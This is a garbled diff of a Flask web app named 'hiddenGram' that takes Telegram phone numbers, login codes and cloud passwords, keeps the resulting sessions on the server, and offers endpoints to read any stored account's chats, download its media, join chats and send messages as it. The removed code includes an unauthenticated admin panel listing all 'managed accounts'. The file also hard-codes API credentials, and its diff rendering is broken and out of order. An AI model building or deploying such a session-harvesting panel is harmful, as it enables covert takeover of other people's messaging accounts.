statusDiv.textContent = `Error: ${error.message}`;
|
| 674 |
-
statusDiv.style.color = '#f44336';
|
| 675 |
}
|
| 676 |
}
|
| 677 |
-
|
| 678 |
</script>
|
| 679 |
</body>
|
| 680 |
</html>
|
| 681 |
'''
|
| 682 |
|
| 683 |
-
#
|
| 684 |
|
| 685 |
@app.route('/')
|
| 686 |
def index():
|
| 687 |
-
|
|
|
|
| 688 |
return render_template_string(LOGIN_TEMPLATE)
|
| 689 |
|
| 690 |
-
@app.route('/admin')
|
| 691 |
-
def admin_panel():
|
| 692 |
-
"""Renders the admin panel displaying all managed accounts."""
|
| 693 |
-
with sqlite3.connect(DB_PATH) as conn:
|
| 694 |
-
c = conn.cursor()
|
| 695 |
-
c.execute('SELECT id, telegram_id, username, phone FROM users')
|
| 696 |
-
users = c.fetchall()
|
| 697 |
-
return render_template_string(ADMIN_TEMPLATE, users=users)
|
| 698 |
-
|
| 699 |
@app.route('/api/login', methods=['POST'])
|
| 700 |
def api_login():
|
| 701 |
-
"""Handles the Telegram login process steps via AJAX."""
|
| 702 |
data = request.json
|
| 703 |
phone = data.get('phone')
|
| 704 |
code = data.get('code')
|
|
@@ -707,10 +713,10 @@ def api_login():
|
|
| 707 |
step = data.get('step')
|
| 708 |
|
| 709 |
if not phone:
|
| 710 |
-
return jsonify({'success': False, 'message': 'Phone number is required.'})
|
| 711 |
|
| 712 |
session_hash = hashlib.md5(phone.encode()).hexdigest()
|
| 713 |
-
session_file_path =
|
| 714 |
|
| 715 |
async def _login_async():
|
| 716 |
client = TelegramClient(session_file_path, API_ID, API_HASH)
|
|
@@ -722,11 +728,11 @@ def api_login():
|
|
| 722 |
me = await client.get_me()
|
| 723 |
with sqlite3.connect(DB_PATH) as conn:
|
| 724 |
c = conn.cursor()
|
| 725 |
-
# Use INSERT OR REPLACE to handle cases where phone is already in DB
|
| 726 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 727 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 728 |
conn.commit()
|
| 729 |
-
|
|
|
|
| 730 |
else:
|
| 731 |
sent_code = await client.send_code_request(phone)
|
| 732 |
result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
|
|
@@ -742,11 +748,10 @@ def api_login():
|
|
| 742 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 743 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 744 |
conn.commit()
|
| 745 |
-
|
|
|
|
| 746 |
except SessionPasswordNeededError:
|
| 747 |
result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
|
| 748 |
-
except FloodWaitError as e:
|
| 749 |
-
result = {'success': False, 'message': f'Too many attempts. Please wait {e.seconds} seconds.'}
|
| 750 |
except Exception as e:
|
| 751 |
result = {'success': False, 'message': f'Error during code submission: {e}.'}
|
| 752 |
elif step == 'password':
|
|
@@ -758,9 +763,8 @@ def api_login():
|
|
| 758 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 759 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 760 |
conn.commit()
|
| 761 |
-
|
| 762 |
-
|
| 763 |
-
result = {'success': False, 'message': f'Too many attempts. Please wait {e.seconds} seconds.'}
|
| 764 |
except Exception as e:
|
| 765 |
result = {'success': False, 'message': f'Error during password submission: {e}.'}
|
| 766 |
else:
|
|
@@ -768,162 +772,161 @@ def api_login():
|
|
| 768 |
except Exception as e:
|
| 769 |
result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
|
| 770 |
finally:
|
| 771 |
-
if client.is_connected():
|
| 772 |
await client.disconnect()
|
| 773 |
return result
|
| 774 |
|
| 775 |
return jsonify(asyncio.run(_login_async()))
|
| 776 |
|
| 777 |
-
@app.route('/
|
| 778 |
-
def
|
| 779 |
-
|
| 780 |
-
|
| 781 |
-
|
| 782 |
-
|
| 783 |
-
|
| 784 |
-
|
| 785 |
-
|
| 786 |
-
|
| 787 |
-
|
| 788 |
-
|
| 789 |
-
|
| 790 |
-
|
| 791 |
-
|
| 792 |
-
|
| 793 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 794 |
|
| 795 |
-
@app.route('/api/user/<int:user_id>/chats')
|
| 796 |
-
def api_get_user_chats(user_id):
|
| 797 |
-
"""API endpoint to get a list of chats for a user."""
|
| 798 |
async def _get_chats_async():
|
| 799 |
client, error = await get_user_client(user_id)
|
| 800 |
if error:
|
| 801 |
-
return
|
| 802 |
|
| 803 |
chats_info = []
|
| 804 |
try:
|
| 805 |
async for dialog in client.iter_dialogs():
|
| 806 |
chat_type = 'User'
|
| 807 |
-
|
|
|
|
| 808 |
chat_type = 'Channel'
|
| 809 |
-
|
|
|
|
|
|
|
| 810 |
chat_type = 'Group'
|
|
|
|
|
|
|
|
|
|
|
|
|
| 811 |
|
| 812 |
-
# Exclude service notifications or empty chats if desired
|
| 813 |
-
if dialog.is_empty:
|
| 814 |
-
continue
|
| 815 |
-
|
| 816 |
chats_info.append({
|
| 817 |
'id': dialog.id,
|
| 818 |
'title': dialog.title,
|
| 819 |
'type': chat_type,
|
| 820 |
-
'
|
| 821 |
})
|
| 822 |
-
return {'success': True, 'chats': chats_info}
|
| 823 |
except Exception as e:
|
| 824 |
-
return
|
| 825 |
finally:
|
| 826 |
if client and client.is_connected():
|
| 827 |
await client.disconnect()
|
|
|
|
| 828 |
|
| 829 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 830 |
|
| 831 |
-
@app.route('/api/user/<int:user_id>/chat/<int:peer_id>/messages')
|
| 832 |
-
def api_get_chat_messages(user_id, peer_id):
|
| 833 |
-
"""API endpoint to get messages from a specific chat."""
|
| 834 |
async def _get_messages_async():
|
| 835 |
client, error = await get_user_client(user_id)
|
| 836 |
if error:
|
| 837 |
-
return
|
| 838 |
|
| 839 |
-
|
| 840 |
try:
|
| 841 |
entity = await client.get_entity(peer_id)
|
| 842 |
-
|
| 843 |
-
|
| 844 |
-
async for message in client.iter_messages(entity, limit=50, reverse=False):
|
| 845 |
msg_data = {
|
| 846 |
'text': message.text,
|
| 847 |
'date': message.date.strftime("%Y-%m-%d %H:%M:%S"),
|
| 848 |
'sender_name': 'Unknown',
|
| 849 |
-
'
|
| 850 |
}
|
| 851 |
|
| 852 |
if message.sender:
|
| 853 |
-
if
|
| 854 |
msg_data['sender_name'] = message.sender.first_name
|
| 855 |
if message.sender.last_name:
|
| 856 |
msg_data['sender_name'] += f" {message.sender.last_name}"
|
| 857 |
-
|
| 858 |
-
|
| 859 |
-
elif
|
| 860 |
msg_data['sender_name'] = message.sender.title
|
| 861 |
-
|
| 862 |
-
# Fallback for sender if name is still empty (e.g., deleted account)
|
| 863 |
-
if not msg_data['sender_name']:
|
| 864 |
-
msg_data['sender_name'] = f"ID: {message.sender_id}" if message.sender_id else "Unknown"
|
| 865 |
|
| 866 |
if message.media:
|
| 867 |
-
|
| 868 |
-
|
| 869 |
-
|
| 870 |
-
|
| 871 |
-
|
| 872 |
-
|
| 873 |
-
|
| 874 |
-
|
| 875 |
-
|
| 876 |
-
|
| 877 |
-
msg_data['file_size'] = f"{(os.path.getsize(file_info) / (1024*1024)):.2f} MB" if os.path.exists(file_info) else "N/A"
|
| 878 |
-
else:
|
| 879 |
-
msg_data['file_name'] = "Download failed."
|
| 880 |
-
except Exception as e:
|
| 881 |
-
msg_data['file_name'] = f"Error downloading media: {e}"
|
| 882 |
-
msg_data['file_size'] = ""
|
| 883 |
-
elif isinstance(message.media, MessageMediaWebPage):
|
| 884 |
-
msg_data['webpage_url'] = message.media.webpage.url
|
| 885 |
-
msg_data['webpage_title'] = message.media.webpage.title
|
| 886 |
-
elif isinstance(message.media, MessageMediaPoll):
|
| 887 |
-
msg_data['poll_question'] = message.media.poll.question
|
| 888 |
-
elif isinstance(message.media, MessageMediaGeo):
|
| 889 |
-
msg_data['geo_coords'] = f"{message.media.geo.lat}, {message.media.geo.long}"
|
| 890 |
-
elif isinstance(message.media, MessageMediaContact):
|
| 891 |
-
msg_data['contact_name'] = f"{message.media.first_name} {message.media.last_name or ''}"
|
| 892 |
-
elif isinstance(message.media, MessageMediaUnsupported):
|
| 893 |
-
msg_data['unsupported_media'] = True
|
| 894 |
-
else:
|
| 895 |
-
msg_data['unsupported_media'] = True # General catch-all for other media types
|
| 896 |
-
|
| 897 |
-
messages_data.append(msg_data)
|
| 898 |
except Exception as e:
|
| 899 |
-
return
|
| 900 |
finally:
|
| 901 |
if client and client.is_connected():
|
| 902 |
await client.disconnect()
|
| 903 |
-
return
|
| 904 |
|
| 905 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 906 |
|
| 907 |
-
@app.route('/
|
| 908 |
-
def
|
| 909 |
-
|
| 910 |
-
|
|
|
|
| 911 |
|
| 912 |
-
@app.route('/api/user/<int:user_id>/chat/<int:peer_id>/send_message', methods=['POST'])
|
| 913 |
-
def api_send_message_to_chat(user_id, peer_id):
|
| 914 |
-
"""API endpoint to send a message to a specific selected chat."""
|
| 915 |
data = request.json
|
|
|
|
| 916 |
message_content = data.get('message')
|
| 917 |
|
| 918 |
-
if not message_content:
|
| 919 |
-
return jsonify({'success': False, 'message': 'Message content cannot be empty.'}), 400
|
| 920 |
-
|
| 921 |
async def _send_message_async():
|
| 922 |
client, error = await get_user_client(user_id)
|
| 923 |
if error:
|
| 924 |
return {'success': False, 'message': error}
|
| 925 |
try:
|
| 926 |
-
await client.send_message(
|
| 927 |
return {'success': True, 'message': 'Message sent successfully.'}
|
| 928 |
except Exception as e:
|
| 929 |
return {'success': False, 'message': str(e)}
|
|
@@ -934,38 +937,34 @@ def api_send_message_to_chat(user_id, peer_id):
|
|
| 934 |
result = asyncio.run(_send_message_async())
|
| 935 |
return jsonify(result)
|
| 936 |
|
| 937 |
-
@app.route('/api/
|
| 938 |
-
def api_join_chat(
|
| 939 |
-
|
|
|
|
|
|
|
|
|
|
| 940 |
data = request.json
|
| 941 |
chat_identifier = data.get('chat_identifier')
|
| 942 |
|
| 943 |
-
if not chat_identifier:
|
| 944 |
-
return jsonify({'success': False, 'message': 'Chat identifier or invite link is required.'}), 400
|
| 945 |
-
|
| 946 |
async def _join_chat_async():
|
| 947 |
client, error = await get_user_client(user_id)
|
| 948 |
if error:
|
| 949 |
return {'success': False, 'message': error}
|
| 950 |
try:
|
| 951 |
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
|
| 952 |
-
# Extract invite hash: remove 't.me/joinchat/' or 't.me/+' and handle '+' in hash
|
| 953 |
invite_hash = chat_identifier.split('/')[-1]
|
| 954 |
if '+' in invite_hash:
|
| 955 |
invite_hash = invite_hash.replace('+', '')
|
| 956 |
await client(ImportChatInviteRequest(invite_hash))
|
| 957 |
else:
|
| 958 |
-
# Try joining by username
|
| 959 |
if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
|
| 960 |
chat_identifier = '@' + chat_identifier
|
| 961 |
await client(JoinChannelRequest(chat_identifier))
|
| 962 |
-
return {'success': True, 'message': f'Successfully joined chat
|
| 963 |
except FloodWaitError as e:
|
| 964 |
return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
|
| 965 |
except UserNotParticipantError:
|
| 966 |
return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
|
| 967 |
-
except PeerFloodError:
|
| 968 |
-
return {'success': False, 'message': 'Account is sending too many messages. Try again later.'}
|
| 969 |
except Exception as e:
|
| 970 |
return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
|
| 971 |
finally:
|
|
@@ -975,42 +974,185 @@ def api_join_chat(user_id):
|
|
| 975 |
result = asyncio.run(_join_chat_async())
|
| 976 |
return jsonify(result)
|
| 977 |
|
| 978 |
-
@app.route('/
|
| 979 |
-
def
|
| 980 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 981 |
data = request.json
|
| 982 |
-
|
| 983 |
message_content = data.get('message')
|
| 984 |
|
| 985 |
-
|
| 986 |
-
return jsonify({'success': False, 'message': 'Recipient and message content are required.'}), 400
|
| 987 |
-
|
| 988 |
-
async def _send_arbitrary_message_async():
|
| 989 |
client, error = await get_user_client(user_id)
|
| 990 |
if error:
|
| 991 |
return {'success': False, 'message': error}
|
| 992 |
try:
|
| 993 |
-
|
| 994 |
-
|
| 995 |
-
|
| 996 |
-
|
|
|
|
|
|
|
|
|
|
| 997 |
|
| 998 |
-
|
| 999 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1000 |
except FloodWaitError as e:
|
| 1001 |
return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
|
| 1002 |
-
except
|
| 1003 |
-
|
| 1004 |
except Exception as e:
|
| 1005 |
-
return {'success': False, 'message': f'Error
|
| 1006 |
finally:
|
| 1007 |
if client and client.is_connected():
|
| 1008 |
await client.disconnect()
|
| 1009 |
-
|
| 1010 |
-
result = asyncio.run(
|
| 1011 |
return jsonify(result)
|
| 1012 |
|
| 1013 |
-
|
| 1014 |
if __name__ == '__main__':
|
| 1015 |
init_db()
|
| 1016 |
-
app.run(host=HOST, port=PORT
|
|
|
|
| 3 |
import os
|
| 4 |
import sqlite3
|
| 5 |
from pathlib import Path
|
| 6 |
+
import datetime
|
| 7 |
|
| 8 |
+
from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
|
| 9 |
from telethon.sync import TelegramClient
|
| 10 |
+
from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
|
| 11 |
from telethon.tl.functions.messages import ImportChatInviteRequest
|
| 12 |
from telethon.tl.functions.channels import JoinChannelRequest
|
| 13 |
+
from telethon.tl.types import User, Chat, Channel
|
| 14 |
|
| 15 |
app = Flask(__name__)
|
| 16 |
|
| 17 |
+
# Configuration
|
| 18 |
+
app.secret_key = os.urandom(24) # IMPORTANT: For production, use a strong, securely stored key
|
| 19 |
+
API_ID = '22328650'
|
| 20 |
+
API_HASH = '20b45c386598fab8028b1d99b63aeeeb'
|
| 21 |
HOST = '0.0.0.0'
|
| 22 |
PORT = 7860
|
| 23 |
SESSION_DIR = 'sessions'
|
|
|
|
| 28 |
os.makedirs(SESSION_DIR, exist_ok=True)
|
| 29 |
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
|
| 30 |
|
| 31 |
+
# Database Initialization
|
| 32 |
def init_db():
|
| 33 |
with sqlite3.connect(DB_PATH) as conn:
|
| 34 |
c = conn.cursor()
|
|
|
|
| 36 |
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
| 37 |
telegram_id TEXT UNIQUE,
|
| 38 |
username TEXT,
|
| 39 |
+
phone TEXT,
|
| 40 |
+
session_file TEXT,
|
| 41 |
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
| 42 |
)''')
|
| 43 |
conn.commit()
|
| 44 |
|
| 45 |
+
# Helper to get TelegramClient for a user
|
| 46 |
async def get_user_client(user_id):
|
|
|
|
|
|
|
|
|
|
|
|
|
| 47 |
with sqlite3.connect(DB_PATH) as conn:
|
| 48 |
c = conn.cursor()
|
| 49 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
|
|
|
| 51 |
if not result:
|
| 52 |
return None, "User not found"
|
| 53 |
session_file = result[0]
|
|
|
|
| 54 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 55 |
try:
|
| 56 |
await client.connect()
|
| 57 |
if not await client.is_user_authorized():
|
| 58 |
+
return None, "Client not authorized. Please log in again."
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 59 |
except Exception as e:
|
| 60 |
+
return None, f"Failed to connect or authorize client: {e}"
|
|
|
|
|
|
|
|
|
|
| 61 |
return client, None
|
| 62 |
|
| 63 |
+
# HTML Templates (Strings)
|
| 64 |
|
|
|
|
| 65 |
LOGIN_TEMPLATE = '''
|
| 66 |
<!DOCTYPE html>
|
| 67 |
<html lang="en">
|
|
|
|
| 70 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 71 |
<title>hiddenGram - Login</title>
|
| 72 |
<style>
|
| 73 |
+
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
|
| 74 |
+
.container { background: #282828; padding: 30px; border-radius: 8px; box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2); max-width: 400px; width: 90%; text-align: center; }
|
| 75 |
+
h1 { color: #00ff00; margin-bottom: 20px; font-size: 2.2em; }
|
| 76 |
+
input[type="text"], input[type="password"] { width: calc(100% - 22px); padding: 12px; margin: 10px 0; border: 1px solid #444; border-radius: 5px; background: #3a3a3a; color: #fff; font-size: 1em; }
|
| 77 |
+
button { background: #00ff00; color: #1a1a1a; padding: 12px 25px; border: none; border-radius: 5px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 15px; transition: background 0.3s ease; width: 100%; }
|
| 78 |
+
button:hover { background: #00cc00; }
|
| 79 |
+
.message { margin-top: 20px; padding: 10px; border-radius: 5px; font-size: 0.9em; }
|
| 80 |
+
.message.success { background: #2e8b57; color: #e0e0e0; }
|
| 81 |
+
.message.error { background: #cc0000; color: #e0e0e0; }
|
| 82 |
+
.hidden { display: none; }
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 83 |
</style>
|
| 84 |
</head>
|
| 85 |
<body>
|
| 86 |
<div class="container">
|
| 87 |
+
<h1>hiddenGram</h1>
|
| 88 |
+
<div class="form">
|
|
|
|
| 89 |
<input type="text" id="phone" placeholder="Phone number (+1234567890)">
|
| 90 |
<button onclick="startLogin()">Start Login</button>
|
| 91 |
+
|
| 92 |
+
<input type="text" id="code" placeholder="Verification code" class="hidden">
|
| 93 |
+
<input type="password" id="password" placeholder="Cloud password" class="hidden">
|
| 94 |
+
|
| 95 |
+
<button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button>
|
| 96 |
+
<button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button>
|
| 97 |
</div>
|
| 98 |
+
<div id="statusMessage" class="message hidden"></div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 99 |
</div>
|
| 100 |
<script>
|
| 101 |
let phone = '';
|
| 102 |
let phoneCodeHash = '';
|
| 103 |
const statusMessageDiv = document.getElementById('statusMessage');
|
| 104 |
|
| 105 |
+
function showMessage(msg, type = 'info') {
|
| 106 |
+
statusMessageDiv.textContent = msg;
|
| 107 |
+
statusMessageDiv.className = `message ${type}`;
|
| 108 |
+
statusMessageDiv.classList.remove('hidden');
|
| 109 |
}
|
| 110 |
|
| 111 |
async function startLogin() {
|
| 112 |
phone = document.getElementById('phone').value;
|
| 113 |
if (!phone) {
|
| 114 |
+
showMessage('Please enter your phone number.', 'error');
|
| 115 |
return;
|
| 116 |
}
|
| 117 |
showMessage('Sending code...', 'info');
|
|
|
|
| 122 |
});
|
| 123 |
const result = await response.json();
|
| 124 |
if (result.success) {
|
|
|
|
| 125 |
if (result.phone_code_hash) {
|
| 126 |
phoneCodeHash = result.phone_code_hash;
|
| 127 |
+
document.getElementById('code').classList.remove('hidden');
|
| 128 |
+
document.getElementById('submitCode').classList.remove('hidden');
|
| 129 |
+
showMessage(result.message, 'success');
|
| 130 |
} else {
|
| 131 |
+
showMessage(result.message + ' Redirecting...', 'success');
|
| 132 |
+
window.location.href = '/app';
|
| 133 |
}
|
| 134 |
} else {
|
| 135 |
showMessage('Login failed: ' + result.message, 'error');
|
|
|
|
| 150 |
});
|
| 151 |
const result = await response.json();
|
| 152 |
if (result.success) {
|
| 153 |
+
showMessage(result.message + ' Redirecting...', 'success');
|
| 154 |
+
window.location.href = '/app';
|
| 155 |
} else if (result.password_required) {
|
| 156 |
showMessage(result.message, 'info');
|
| 157 |
+
document.getElementById('password').classList.remove('hidden');
|
| 158 |
+
document.getElementById('submitPassword').classList.remove('hidden');
|
| 159 |
+
document.getElementById('submitCode').classList.add('hidden');
|
| 160 |
+
document.getElementById('code').classList.add('hidden');
|
| 161 |
} else {
|
| 162 |
+
showMessage('Login failed: ' + result.message, 'error');
|
| 163 |
}
|
| 164 |
}
|
| 165 |
|
|
|
|
| 177 |
});
|
| 178 |
const result = await response.json();
|
| 179 |
if (result.success) {
|
| 180 |
+
showMessage(result.message + ' Redirecting...', 'success');
|
| 181 |
+
window.location.href = '/app';
|
| 182 |
+
} else {
|
| 183 |
+
showMessage('Login failed: ' + result.message, 'error');
|
| 184 |
+
}
|
| 185 |
+
}
|
| 186 |
+
</script>
|
| 187 |
+
</body>
|
| 188 |
+
</html>
|
| 189 |
+
'''
|
| 190 |
+
|
| 191 |
+
HIDDENGRAM_APP_TEMPLATE = '''
|
| 192 |
+
<!DOCTYPE html>
|
| 193 |
+
<html lang="en">
|
| 194 |
+
<head>
|
| 195 |
+
<meta charset="UTF-8">
|
| 196 |
+
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 197 |
+
<title>hiddenGram</title>
|
| 198 |
+
<style>
|
| 199 |
+
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #e0e0e0; margin: 0; padding: 0; display: flex; flex-direction: column; height: 100vh; overflow: hidden; }
|
| 200 |
+
.header { background: #282828; padding: 15px 20px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; align-items: center; }
|
| 201 |
+
.header h1 { margin: 0; color: #00ff00; font-size: 1.8em; }
|
| 202 |
+
.header button { background: #ff4d4d; color: #fff; padding: 8px 15px; border: none; border-radius: 5px; cursor: pointer; font-size: 0.9em; transition: background 0.3s ease; }
|
| 203 |
+
.header button:hover { background: #cc0000; }
|
| 204 |
+
.main-content { display: flex; flex: 1; overflow: hidden; }
|
| 205 |
+
.sidebar { flex: 0 0 350px; background: #222; border-right: 1px solid #333; overflow-y: auto; display: flex; flex-direction: column; }
|
| 206 |
+
.sidebar-header { padding: 15px; border-bottom: 1px solid #333; background: #282828; }
|
| 207 |
+
.sidebar-header h2 { margin: 0; color: #00ff00; font-size: 1.2em; }
|
| 208 |
+
.chat-list { flex: 1; overflow-y: auto; }
|
| 209 |
+
.chat-item { padding: 15px 20px; border-bottom: 1px solid #333; cursor: pointer; transition: background 0.2s ease; }
|
| 210 |
+
.chat-item:hover, .chat-item.active { background: #3a3a3a; }
|
| 211 |
+
.chat-item h3 { margin: 0; font-size: 1.1em; color: #fff; }
|
| 212 |
+
.chat-item p { margin: 5px 0 0; font-size: 0.9em; color: #bbb; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
| 213 |
+
|
| 214 |
+
.chat-panel { flex: 1; display: flex; flex-direction: column; background: #1a1a1a; }
|
| 215 |
+
.chat-panel-header { background: #282828; padding: 15px 20px; border-bottom: 1px solid #333; display: flex; justify-content: space-between; align-items: center; }
|
| 216 |
+
.chat-panel-header h2 { margin: 0; color: #fff; font-size: 1.2em; }
|
| 217 |
+
.chat-panel-header span { font-size: 0.9em; color: #aaa; }
|
| 218 |
+
.messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; }
|
| 219 |
+
.message-item { margin-bottom: 15px; padding: 12px 15px; border-radius: 8px; max-width: 70%; word-wrap: break-word; }
|
| 220 |
+
.message-item.sent { background: #005600; align-self: flex-end; }
|
| 221 |
+
.message-item.received { background: #3a3a3a; align-self: flex-start; }
|
| 222 |
+
.message-sender { font-weight: bold; color: #00ff00; margin-bottom: 5px; display: block; }
|
| 223 |
+
.message-text { color: #e0e0e0; font-size: 0.95em; line-height: 1.4; }
|
| 224 |
+
.message-meta { font-size: 0.75em; color: #aaa; margin-top: 5px; text-align: right; }
|
| 225 |
+
.media-link { display: block; margin-top: 5px; color: #00ffff; text-decoration: none; word-break: break-all; }
|
| 226 |
+
.media-link:hover { text-decoration: underline; }
|
| 227 |
+
.chat-input-area { background: #282828; padding: 15px 20px; border-top: 1px solid #333; display: flex; gap: 10px; }
|
| 228 |
+
.chat-input-area textarea { flex: 1; padding: 10px; border: 1px solid #444; border-radius: 5px; background: #3a3a3a; color: #fff; resize: none; overflow-y: auto; max-height: 100px; font-size: 1em; }
|
| 229 |
+
.chat-input-area button { background: #00ff00; color: #1a1a1a; padding: 10px 20px; border: none; border-radius: 5px; cursor: pointer; font-size: 1em; font-weight: bold; transition: background 0.3s ease; }
|
| 230 |
+
.chat-input-area button:hover { background: #00cc00; }
|
| 231 |
+
.no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #aaa; font-size: 1.2em; }
|
| 232 |
+
.join-chat-section { padding: 15px; border-top: 1px solid #333; background: #282828; display: flex; flex-direction: column; gap: 10px; }
|
| 233 |
+
.join-chat-section input { width: calc(100% - 22px); padding: 10px; border: 1px solid #444; border-radius: 5px; background: #3a3a3a; color: #fff; font-size: 1em; }
|
| 234 |
+
.join-chat-section button { background: #0099ff; color: #fff; padding: 10px 15px; border: none; border-radius: 5px; cursor: pointer; font-size: 1em; transition: background 0.3s ease; }
|
| 235 |
+
.join-chat-section button:hover { background: #0077cc; }
|
| 236 |
+
@media (max-width: 768px) {
|
| 237 |
+
.main-content { flex-direction: column; }
|
| 238 |
+
.sidebar { flex: none; width: 100%; max-height: 40vh; border-right: none; border-bottom: 1px solid #333; }
|
| 239 |
+
.chat-panel { flex: 1; }
|
| 240 |
+
}
|
| 241 |
+
</style>
|
| 242 |
+
</head>
|
| 243 |
+
<body>
|
| 244 |
+
<div class="header">
|
| 245 |
+
<h1>hiddenGram</h1>
|
| 246 |
+
<div>
|
| 247 |
+
<button onclick="logout()">Logout</button>
|
| 248 |
+
</div>
|
| 249 |
+
</div>
|
| 250 |
+
<div class="main-content">
|
| 251 |
+
<div class="sidebar">
|
| 252 |
+
<div class="sidebar-header">
|
| 253 |
+
<h2>Chats</h2>
|
| 254 |
+
</div>
|
| 255 |
+
<div class="chat-list" id="chatList">
|
| 256 |
+
<!-- Chats will be loaded here by JavaScript -->
|
| 257 |
+
</div>
|
| 258 |
+
<div class="join-chat-section">
|
| 259 |
+
<input type="text" id="joinChatIdentifier" placeholder="Join Channel/Group (username or invite link)">
|
| 260 |
+
<button onclick="joinChat()">Join Chat</button>
|
| 261 |
+
</div>
|
| 262 |
+
</div>
|
| 263 |
+
<div class="chat-panel" id="chatPanel">
|
| 264 |
+
<div class="no-chat-selected" id="noChatSelected">Select a chat to view messages</div>
|
| 265 |
+
<div class="chat-panel-header" id="chatPanelHeader" style="display:none;">
|
| 266 |
+
<h2 id="chatTitle"></h2>
|
| 267 |
+
<span id="chatInfo"></span>
|
| 268 |
+
</div>
|
| 269 |
+
<div class="messages-container" id="messagesContainer" style="display:none;">
|
| 270 |
+
<!-- Messages will be loaded here by JavaScript -->
|
| 271 |
+
</div>
|
| 272 |
+
<div class="chat-input-area" id="chatInputArea" style="display:none;">
|
| 273 |
+
<textarea id="messageInput" placeholder="Type a message..." rows="1"></textarea>
|
| 274 |
+
<button onclick="sendMessage()">Send</button>
|
| 275 |
+
</div>
|
| 276 |
+
</div>
|
| 277 |
+
</div>
|
| 278 |
+
|
| 279 |
+
<script>
|
| 280 |
+
let currentChatId = null;
|
| 281 |
+
let currentChatTitle = '';
|
| 282 |
+
let currentChatType = '';
|
| 283 |
+
|
| 284 |
+
function adjustTextareaHeight() {
|
| 285 |
+
const textarea = document.getElementById('messageInput');
|
| 286 |
+
textarea.style.height = 'auto';
|
| 287 |
+
textarea.style.height = textarea.scrollHeight + 'px';
|
| 288 |
+
}
|
| 289 |
+
